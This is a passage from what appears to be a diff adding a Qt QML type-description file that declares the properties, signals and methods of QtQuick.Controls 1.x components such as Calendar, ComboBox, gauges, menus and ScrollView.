} + Property { name: "navigationBarVisible"; type: "bool" } + Property { name: "dayOfWeekFormat"; type: "int" } + Property { name: "locale"; type: "QVariant" } + Property { name: "__model"; type: "QQuickCalendarModel1"; isPointer: true } + Property { name: "selectedDate"; type: "QDateTime" } + Property { name: "minimumDate"; type: "QDateTime" } + Property { name: "maximumDate"; type: "QDateTime" } + Property { name: "__locale"; type: "QVariant" } + Signal { + name: "hovered" + Parameter { name: "date"; type: "QDateTime" } + } + Signal { + name: "pressed" + Parameter { name: "date"; type: "QDateTime" } + } + Signal { + name: "released" + Parameter { name: "date"; type: "QDateTime" } + } + Signal { + name: "clicked" + Parameter { name: "date"; type: "QDateTime" } + } + Signal { + name: "doubleClicked" + Parameter { name: "date"; type: "QDateTime" } + } + Signal { + name: "pressAndHold" + Parameter { name: "date"; type: "QDateTime" } + } + Method { name: "showPreviousMonth"; type: "QVariant" } + Method { name: "showNextMonth"; type: "QVariant" } + Method { name: "showPreviousYear"; type: "QVariant" } + Method { name: "showNextYear"; type: "QVariant" } + Method { name: "__selectPreviousMonth"; type: "QVariant" } + Method { name: "__selectNextMonth"; type: "QVariant" } + Method { name: "__selectPreviousWeek"; type: "QVariant" } + Method { name: "__selectNextWeek"; type: "QVariant" } + Method { name: "__selectFirstDayOfMonth"; type: "QVariant" } + Method { name: "__selectLastDayOfMonth"; type: "QVariant" } + Method { name: "__selectPreviousDay"; type: "QVariant" } + Method { name: "__selectNextDay"; type: "QVariant" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/Calendar 1.6" + exports: ["QtQuick.Controls/Calendar 1.6"] + exportMetaObjectRevisions: [6] + isComposite: true + defaultProperty: "data" + Property { name: "visibleMonth"; type: "int" } + Property { name: "visibleYear"; type: "int" } + Property { name: "frameVisible"; type: "bool" } + Property { name: "weekNumbersVisible"; type: "bool" } + Property { name: "navigationBarVisible"; type: "bool" } + Property { name: "dayOfWeekFormat"; type: "int" } + Property { name: "locale"; type: "QVariant" } + Property { name: "__model"; type: "QQuickCalendarModel1"; isPointer: true } + Property { name: "selectedDate"; type: "QDateTime" } + Property { name: "minimumDate"; type: "QDateTime" } + Property { name: "maximumDate"; type: "QDateTime" } + Property { name: "__locale"; type: "QVariant" } + Signal { + name: "hovered" + Parameter { name: "date"; type: "QDateTime" } + } + Signal { + name: "pressed" + Parameter { name: "date"; type: "QDateTime" } + } + Signal { + name: "released" + Parameter { name: "date"; type: "QDateTime" } + } + Signal { + name: "clicked" + Parameter { name: "date"; type: "QDateTime" } + } + Signal { + name: "doubleClicked" + Parameter { name: "date"; type: "QDateTime" } + } + Signal { + name: "pressAndHold" + Parameter { name: "date"; type: "QDateTime" } + } + Method { name: "showPreviousMonth"; type: "QVariant" } + Method { name: "showNextMonth"; type: "QVariant" } + Method { name: "showPreviousYear"; type: "QVariant" } + Method { name: "showNextYear"; type: "QVariant" } + Method { name: "__selectPreviousMonth"; type: "QVariant" } + Method { name: "__selectNextMonth"; type: "QVariant" } + Method { name: "__selectPreviousWeek"; type: "QVariant" } + Method { name: "__selectNextWeek"; type: "QVariant" } + Method { name: "__selectFirstDayOfMonth"; type: "QVariant" } + Method { name: "__selectLastDayOfMonth"; type: "QVariant" } + Method { name: "__selectPreviousDay"; type: "QVariant" } + Method { name: "__selectNextDay"; type: "QVariant" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/CalendarStyle 1.1" + exports: ["QtQuick.Controls.Styles/CalendarStyle 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "Calendar_QMLTYPE_65"; isReadonly: true; isPointer: true } + Property { name: "gridColor"; type: "QColor" } + Property { name: "gridVisible"; type: "bool" } + Property { name: "__gridLineWidth"; type: "double" } + Property { name: "__horizontalSeparatorColor"; type: "QColor" } + Property { name: "__verticalSeparatorColor"; type: "QColor" } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "navigationBar"; type: "QQmlComponent"; isPointer: true } + Property { name: "dayDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "dayOfWeekDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "weekNumberDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + Method { + name: "__cellRectAt" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "__isValidDate" + type: "QVariant" + Parameter { name: "date"; type: "QVariant" } + } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/CheckBox 1.0" + exports: ["QtQuick.Controls/CheckBox 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "checkedState"; type: "int" } + Property { name: "partiallyCheckedEnabled"; type: "bool" } + Property { name: "__ignoreChecked"; type: "bool" } + Property { name: "__ignoreCheckedState"; type: "bool" } + Method { name: "__cycleCheckBoxStates"; type: "QVariant" } + Property { name: "checked"; type: "bool" } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "exclusiveGroup"; type: "QQuickExclusiveGroup1"; isPointer: true } + Property { name: "text"; type: "string" } + Property { name: "tooltip"; type: "string" } + Property { name: "__cycleStatesHandler"; type: "QVariant" } + Property { name: "pressed"; type: "bool" } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Signal { name: "clicked" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/CheckBoxStyle 1.0" + exports: ["QtQuick.Controls.Styles/CheckBoxStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "CheckBox_QMLTYPE_88"; isReadonly: true; isPointer: true } + Property { name: "label"; type: "QQmlComponent"; isPointer: true } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "spacing"; type: "int" } + Property { name: "indicator"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/CircularButtonStyle 1.0" + exports: ["QtQuick.Controls.Styles/CircularButtonStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { + name: "__buttonHelper" + type: "CircularButtonStyleHelper_QMLTYPE_93" + isReadonly: true + isPointer: true + } + Property { name: "control"; type: "Button_QMLTYPE_60"; isReadonly: true; isPointer: true } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "label"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/CircularGaugeStyle 1.0" + exports: ["QtQuick.Controls.Styles/CircularGaugeStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "CircularGauge_QMLTYPE_97"; isReadonly: true; isPointer: true } + Property { name: "outerRadius"; type: "double"; isReadonly: true } + Property { name: "minimumValueAngle"; type: "double" } + Property { name: "maximumValueAngle"; type: "double" } + Property { name: "angleRange"; type: "double"; isReadonly: true } + Property { name: "needleRotation"; type: "double" } + Property { name: "tickmarkStepSize"; type: "double" } + Property { name: "tickmarkInset"; type: "double" } + Property { name: "tickmarkCount"; type: "int"; isReadonly: true } + Property { name: "minorTickmarkCount"; type: "int" } + Property { name: "minorTickmarkInset"; type: "double" } + Property { name: "labelInset"; type: "double" } + Property { name: "labelStepSize"; type: "double" } + Property { name: "labelCount"; type: "int"; isReadonly: true } + Property { name: "__protectedScope"; type: "QObject"; isPointer: true } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "tickmark"; type: "QQmlComponent"; isPointer: true } + Property { name: "minorTickmark"; type: "QQmlComponent"; isPointer: true } + Property { name: "tickmarkLabel"; type: "QQmlComponent"; isPointer: true } + Property { name: "needle"; type: "QQmlComponent"; isPointer: true } + Property { name: "foreground"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + Method { + name: "valueToAngle" + type: "QVariant" + Parameter { name: "value"; type: "QVariant" } + } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/CircularTickmarkLabelStyle 1.0" + exports: ["QtQuick.Controls.Styles/CircularTickmarkLabelStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "outerRadius"; type: "double"; isReadonly: true } + Property { name: "__protectedScope"; type: "QObject"; isPointer: true } + Property { name: "tickmark"; type: "QQmlComponent"; isPointer: true } + Property { name: "minorTickmark"; type: "QQmlComponent"; isPointer: true } + Property { name: "tickmarkLabel"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + Property { name: "control"; type: "QQuickItem"; isReadonly: true; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/ComboBox 1.0" + exports: ["QtQuick.Controls/ComboBox 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "textRole"; type: "string" } + Property { name: "editable"; type: "bool" } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Property { name: "menu"; type: "QQmlComponent"; isPointer: true } + Property { name: "selectByMouse"; type: "bool" } + Property { name: "inputMethodComposing"; type: "bool"; isReadonly: true } + Property { name: "__popup"; type: "QVariant" } + Property { name: "model"; type: "QVariant" } + Property { name: "currentIndex"; type: "int" } + Property { name: "currentText"; type: "string"; isReadonly: true } + Property { name: "editText"; type: "string" } + Property { name: "inputMethodHints"; type: "int" } + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "validator"; type: "QValidator"; isPointer: true } + Property { name: "acceptableInput"; type: "bool"; isReadonly: true } + Signal { name: "accepted" } + Signal { + name: "activated" + Parameter { name: "index"; type: "int" } + } + Method { + name: "textAt" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "find" + type: "QVariant" + Parameter { name: "text"; type: "QVariant" } + } + Method { name: "selectAll"; type: "QVariant" } + Method { name: "__selectPrevItem"; type: "QVariant" } + Method { name: "__selectNextItem"; type: "QVariant" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/ComboBoxStyle 1.0" + exports: ["QtQuick.Controls.Styles/ComboBoxStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "renderType"; type: "int" } + Property { name: "font"; type: "QFont" } + Property { name: "textColor"; type: "QColor" } + Property { name: "selectionColor"; type: "QColor" } + Property { name: "selectedTextColor"; type: "QColor" } + Property { name: "control"; type: "ComboBox_QMLTYPE_120"; isReadonly: true; isPointer: true } + Property { name: "dropDownButtonWidth"; type: "int" } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "__editor"; type: "QQmlComponent"; isPointer: true } + Property { name: "label"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + Property { name: "__dropDownStyle"; type: "QQmlComponent"; isPointer: true } + Property { name: "__popupStyle"; type: "QQmlComponent"; isPointer: true } + Property { name: "__cursorHandle"; type: "QQmlComponent"; isPointer: true } + Property { name: "__selectionHandle"; type: "QQmlComponent"; isPointer: true } + Property { name: "__cursorDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "drowDownButtonWidth"; type: "int" } + } + Component { + prototype: "QObject" + name: "QtQuick.Controls.Styles/CommonStyleHelper 1.0" + exports: ["QtQuick.Controls.Styles/CommonStyleHelper 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + Property { name: "control"; type: "QQuickItem"; isPointer: true } + Property { name: "buttonColorUpTop"; type: "QColor" } + Property { name: "buttonColorUpBottom"; type: "QColor" } + Property { name: "buttonColorDownTop"; type: "QColor" } + Property { name: "buttonColorDownBottom"; type: "QColor" } + Property { name: "textColorUp"; type: "QColor" } + Property { name: "textColorDown"; type: "QColor" } + Property { name: "textRaisedColorUp"; type: "QColor" } + Property { name: "textRaisedColorDown"; type: "QColor" } + Property { name: "offColor"; type: "QColor" } + Property { name: "offColorShine"; type: "QColor" } + Property { name: "onColor"; type: "QColor" } + Property { name: "onColorShine"; type: "QColor" } + Property { name: "inactiveColor"; type: "QColor" } + Property { name: "inactiveColorShine"; type: "QColor" } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/DelayButtonStyle 1.0" + exports: ["QtQuick.Controls.Styles/DelayButtonStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "DelayButton_QMLTYPE_159"; isReadonly: true; isPointer: true } + Property { name: "progressBarGradient"; type: "QQuickGradient"; isPointer: true } + Property { name: "progressBarDropShadowColor"; type: "QColor" } + Property { name: "foreground"; type: "QQmlComponent"; isPointer: true } + Property { + name: "__buttonHelper" + type: "CircularButtonStyleHelper_QMLTYPE_93" + isReadonly: true + isPointer: true + } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "label"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/DialStyle 1.1" + exports: ["QtQuick.Controls.Styles/DialStyle 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "Dial_QMLTYPE_165"; isReadonly: true; isPointer: true } + Property { name: "outerRadius"; type: "double"; isReadonly: true } + Property { name: "handleInset"; type: "double" } + Property { name: "tickmarkStepSize"; type: "double" } + Property { name: "tickmarkInset"; type: "double" } + Property { name: "tickmarkCount"; type: "int"; isReadonly: true } + Property { name: "minorTickmarkCount"; type: "int" } + Property { name: "minorTickmarkInset"; type: "double" } + Property { name: "labelInset"; type: "double" } + Property { name: "labelStepSize"; type: "double" } + Property { name: "labelCount"; type: "int"; isReadonly: true } + Property { name: "__tickmarkRadius"; type: "double"; isReadonly: true } + Property { name: "__handleRadius"; type: "double"; isReadonly: true } + Property { name: "__dragToSet"; type: "bool" } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "handle"; type: "QQmlComponent"; isPointer: true } + Property { name: "tickmark"; type: "QQmlComponent"; isPointer: true } + Property { name: "minorTickmark"; type: "QQmlComponent"; isPointer: true } + Property { name: "tickmarkLabel"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + Method { + name: "valueToAngle" + type: "QVariant" + Parameter { name: "value"; type: "QVariant" } + } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/GaugeStyle 1.0" + exports: ["QtQuick.Controls.Styles/GaugeStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "Gauge_QMLTYPE_173"; isReadonly: true; isPointer: true } + Property { name: "valuePosition"; type: "double"; isReadonly: true } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "tickmark"; type: "QQmlComponent"; isPointer: true } + Property { name: "minorTickmark"; type: "QQmlComponent"; isPointer: true } + Property { name: "tickmarkLabel"; type: "QQmlComponent"; isPointer: true } + Property { name: "valueBar"; type: "QQmlComponent"; isPointer: true } + Property { name: "foreground"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/GroupBox 1.0" + exports: ["QtQuick.Controls/GroupBox 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "__content" + Property { name: "title"; type: "string" } + Property { name: "flat"; type: "bool" } + Property { name: "checkable"; type: "bool" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "checked"; type: "bool" } + Property { name: "__content"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "contentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "__checkbox"; type: "CheckBox_QMLTYPE_88"; isReadonly: true; isPointer: true } + Property { name: "__style"; type: "QObject"; isReadonly: true; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/HandleStyle 1.0" + exports: ["QtQuick.Controls.Styles/HandleStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "handle"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + Property { name: "handleColorTop"; type: "QColor" } + Property { name: "handleColorBottom"; type: "QColor" } + Property { name: "handleColorBottomStop"; type: "double" } + Property { name: "control"; type: "QQuickItem"; isReadonly: true; isPointer: true } + } + Component { + prototype: "QObject" + name: "QtQuick.Controls.Styles/HandleStyleHelper 1.0" + exports: ["QtQuick.Controls.Styles/HandleStyleHelper 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + Property { name: "handleColorTop"; type: "QColor" } + Property { name: "handleColorBottom"; type: "QColor" } + Property { name: "handleColorBottomStop"; type: "double" } + Property { name: "handleRingColorTop"; type: "QColor" } + Property { name: "handleRingColorBottom"; type: "QColor" } + Method { + name: "paintHandle" + type: "QVariant" + Parameter { name: "ctx"; type: "QVariant" } + Parameter { name: "handleX"; type: "QVariant" } + Parameter { name: "handleY"; type: "QVariant" } + Parameter { name: "handleWidth"; type: "QVariant" } + Parameter { name: "handleHeight"; type: "QVariant" } + } + } + Component { + prototype: "QQuickText" + name: "QtQuick.Controls/Label 1.0" + exports: ["QtQuick.Controls/Label 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickMenu1" + name: "QtQuick.Controls/Menu 1.0" + exports: ["QtQuick.Controls/Menu 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "items" + Property { name: "__selfComponent"; type: "QQmlComponent"; isPointer: true } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__usingDefaultStyle"; type: "bool" } + Property { name: "__parentContentItem"; type: "QVariant" } + Property { name: "__currentIndex"; type: "int" } + Method { + name: "addMenu" + type: "QVariant" + Parameter { name: "title"; type: "QVariant" } + } + Method { + name: "insertMenu" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + Parameter { name: "title"; type: "QVariant" } + } + } + Component { + prototype: "QQuickMenuBar1" + name: "QtQuick.Controls/MenuBar 1.0" + exports: ["QtQuick.Controls/MenuBar 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "menus" + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__menuBarComponent"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/MenuBarStyle 1.2" + exports: ["QtQuick.Controls.Styles/MenuBarStyle 1.2"] + exportMetaObjectRevisions: [2] + isComposite: true + defaultProperty: "data" + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "itemDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "menuStyle"; type: "QQmlComponent"; isPointer: true } + Property { name: "font"; type: "QFont" } + Property { name: "__isNative"; type: "bool" } + Method { + name: "formatMnemonic" + type: "QVariant" + Parameter { name: "text"; type: "QVariant" } + Parameter { name: "underline"; type: "QVariant" } + } + Property { name: "control"; type: "QQuickItem"; isReadonly: true; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/MenuStyle 1.2" + exports: ["QtQuick.Controls.Styles/MenuStyle 1.2"] + exportMetaObjectRevisions: [2] + isComposite: true + defaultProperty: "data" + Property { name: "submenuOverlap"; type: "int" } + Property { name: "submenuPopupDelay"; type: "int" } + Property { name: "frame"; type: "QQmlComponent"; isPointer: true } + Property { name: "separator"; type: "QQmlComponent"; isPointer: true } + Property { name: "scrollIndicator"; type: "QQmlComponent"; isPointer: true } + Property { name: "font"; type: "QFont" } + Property { name: "__menuItemType"; type: "string" } + Property { name: "__backgroundColor"; type: "QColor" } + Property { name: "__borderColor"; type: "QColor" } + Property { name: "__maxPopupHeight"; type: "int" } + Property { name: "__selectedBackgroundColor"; type: "QColor" } + Property { name: "__labelColor"; type: "QColor" } + Property { name: "__selectedLabelColor"; type: "QColor" } + Property { name: "__disabledLabelColor"; type: "QColor" } + Property { name: "__mirrored"; type: "bool"; isReadonly: true } + Property { name: "__leftLabelMargin"; type: "int" } + Property { name: "__rightLabelMargin"; type: "int" } + Property { name: "__minRightLabelSpacing"; type: "int" } + Property { name: "__scrollerStyle"; type: "QQmlComponent"; isPointer: true } + Property { name: "menuItemPanel"; type: "QQmlComponent"; isPointer: true } + Property { + name: "itemDelegate" + type: "MenuItemSubControls_QMLTYPE_125" + isReadonly: true + isPointer: true + } + Method { + name: "formatMnemonic" + type: "QVariant" + Parameter { name: "text"; type: "QVariant" } + Parameter { name: "underline"; type: "QVariant" } + } + Property { name: "control"; type: "QQuickItem"; isReadonly: true; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/PieMenuStyle 1.3" + exports: ["QtQuick.Controls.Styles/PieMenuStyle 1.3"] + exportMetaObjectRevisions: [3] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "PieMenu_QMLTYPE_192"; isReadonly: true; isPointer: true } + Property { name: "backgroundColor"; type: "QColor" } + Property { name: "selectionColor"; type: "QColor" } + Property { name: "shadowColor"; type: "QColor" } + Property { name: "shadowRadius"; type: "double" } + Property { name: "shadowSpread"; type: "double" } + Property { name: "radius"; type: "double"; isReadonly: true } + Property { name: "cancelRadius"; type: "double" } + Property { name: "startAngle"; type: "double" } + Property { name: "endAngle"; type: "double" } + Property { name: "__iconOffset"; type: "double"; isReadonly: true } + Property { name: "__selectableRadius"; type: "double"; isReadonly: true } + Property { name: "__implicitWidth"; type: "int" } + Property { name: "__implicitHeight"; type: "int" } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "cancel"; type: "QQmlComponent"; isPointer: true } + Property { name: "title"; type: "QQmlComponent"; isPointer: true } + Property { name: "menuItem"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + Method { + name: "sectionStartAngle" + type: "QVariant" + Parameter { name: "itemIndex"; type: "QVariant" } + } + Method { + name: "sectionCenterAngle" + type: "QVariant" + Parameter { name: "itemIndex"; type: "QVariant" } + } + Method { + name: "sectionEndAngle" + type: "QVariant" + Parameter { name: "itemIndex"; type: "QVariant" } + } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/ProgressBar 1.0" + exports: ["QtQuick.Controls/ProgressBar 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "value"; type: "double" } + Property { name: "minimumValue"; type: "double" } + Property { name: "maximumValue"; type: "double" } + Property { name: "indeterminate"; type: "bool" } + Property { name: "orientation"; type: "int" } + Property { name: "__initialized"; type: "bool" } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Method { + name: "setValue" + type: "QVariant" + Parameter { name: "v"; type: "QVariant" } + } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/ProgressBarStyle 1.0" + exports: ["QtQuick.Controls.Styles/ProgressBarStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "ProgressBar_QMLTYPE_207"; isReadonly: true; isPointer: true } + Property { name: "currentProgress"; type: "double"; isReadonly: true } + Property { name: "progress"; type: "QQmlComponent"; isPointer: true } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/RadioButton 1.0" + exports: ["QtQuick.Controls/RadioButton 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "checked"; type: "bool" } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "exclusiveGroup"; type: "QQuickExclusiveGroup1"; isPointer: true } + Property { name: "text"; type: "string" } + Property { name: "tooltip"; type: "string" } + Property { name: "__cycleStatesHandler"; type: "QVariant" } + Property { name: "pressed"; type: "bool" } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Signal { name: "clicked" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/RadioButtonStyle 1.0" + exports: ["QtQuick.Controls.Styles/RadioButtonStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "RadioButton_QMLTYPE_214"; isReadonly: true; isPointer: true } + Property { name: "label"; type: "QQmlComponent"; isPointer: true } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "spacing"; type: "int" } + Property { name: "indicator"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/ScrollView 1.0" + exports: ["QtQuick.Controls/ScrollView 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "contentItem" + Property { name: "frameVisible"; type: "bool" } + Property { name: "highlightOnFocus"; type: "bool" } + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "__scrollBarTopMargin"; type: "int" } + Property { name: "__viewTopMargin"; type: "int" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "Style_QMLTYPE_3"; isPointer: true } + Property { name: "horizontalScrollBarPolicy"; type: "int" } + Property { name: "verticalScrollBarPolicy"; type: "int" } + Property { name: "viewport"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "flickableItem"; type: "QQuickFlickable"; isReadonly: true; isPointer: true } + Property { + name: "__scroller" + type: "ScrollViewHelper_QMLTYPE_32" + isReadonly: true + isPointer: true + } + Property { name: "__verticalScrollbarOffset"; type: "int" } + Property { name: "__wheelAreaScrollSpeed"; type: "double" } + Property { + name: "__horizontalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + Property { + name: "__verticalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/ScrollViewStyle 1.0" + exports: ["QtQuick.Controls.Styles/ScrollViewStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "ScrollView_QMLTYPE_37"; isReadonly: true; isPointer: true } + Property { name: "corner"; type: "QQmlComponent"; isPointer: true } + Property { name: "scrollToClickedPosition"; type: "bool" } + Property { name: "transientScrollBars"; type: "bool" } + Property { name: "frame"; type: "QQmlComponent"; isPointer: true } + Property { name: "minimumHandleLength"; type: "int" } + Property { name: "handleOverlap"; type: "int" } + Property { name: "scrollBarBackground"; type: "QQmlComponent"; isPointer: true } + Property { name: "handle"; type: "QQmlComponent"; isPointer: true } + Property { name: "incrementControl"; type: "QQmlComponent"; isPointer: true } + Property { name: "decrementControl"; type: "QQmlComponent"; isPointer: true } + Property { name: "__scrollbar"; type: "QQmlComponent"; isPointer: true } + Property { name: "__externalScrollBars"; type: "bool" } + Property { name: "__scrollBarSpacing"; type: "int" } + Property { name: "__scrollBarFadeDelay"; type: "int" } + Property { name: "__scrollBarFadeDuration"; type: "int" } + Property { name: "__stickyScrollbars"; type: "bool" } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/Slider 1.0" + exports: ["QtQuick.Controls/Slider 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "orientation"; type: "int" } + Property { name: "updateValueWhileDragging"; type: "bool" } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "tickmarksEnabled"; type: "bool" } + Property { name: "__horizontal"; type: "bool" } + Property { name: "__handlePos"; type: "double" } + 